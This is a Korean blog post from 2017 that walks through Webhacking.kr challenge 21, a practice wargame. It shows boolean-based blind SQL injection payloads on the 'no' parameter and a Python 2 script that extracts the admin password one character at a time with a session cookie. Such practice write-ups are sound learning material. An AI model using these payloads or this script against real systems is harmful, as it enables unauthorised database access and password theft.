Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Webhacking.kr 21번 본문

Security/Web

Webhacking.kr 21번

Cdor1 2017. 4. 4. 11:36

입력칸에 입력하게되면 no값에 내 인풋이 들어가게 되는데 1, 2를 넣었을때 참인 것을 보아 예전에 풀었던 문제처럼 테이블 모양을 유추할 수 있을것 같았다.

id     pw

guest    ?

admin   ?


이제 admin의 패스워드 길이를 유추해보려고 한다.

2 and length(id)=5 

를 넣었을 때 참이 반환되는 것으로 보아 admin일 확률이 높은데

확실하게 하기 위해 admin으로 추측되는 id의 첫번째 자리를 알아내 보자.

2 and ascii(substr(id, 1, 1)) = 97(a)

참이 반환됐다. admin이라고 확신하고 공격해보려고 한다.

2 and length(pw)=19

를 넣었을 때 참이 반환되므로 admin의 패스워드 길이는 19이고

소스를 짜서 패스워드를 알아보자.



import re, urllib, urllib2
pw=""
ssid = "b96252b25e601517afd1422b5fcd5d91"
print "find pw"

for i in range(1, 20):
    for j in range(97, 128):
        url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no=2"
	url += "%20and%20ascii(substr(pw,"+str(i)+",1))=" + str(j)
        req=urllib2.Request(url) # send request
        req.add_header('Cookie',"PHPSESSID=%s" % ssid)
	read = urllib2.urlopen(req).read()
        if "True" in read:
            pw += chr(j)
	    print "pw: " + pw
            break

print "Fin"


파이썬으로 sql injection 소스 짜는것도 어느정도 친숙해 진 것 같다.

몇가지 예외경우만 공부해서 익혀놓으면 포너블 익스처럼 편하게 짤 수 있겠지?

'Security > Web' 카테고리의 다른 글

Webhacking.kr 28번  (0) 2017.04.06
Webhacking.kr 50번  (0) 2017.04.05
urllib2 request  (0) 2017.04.03
Webhacking.kr 25번  (0) 2017.04.03
Webhacking.kr 18번  (0) 2017.04.01
Comments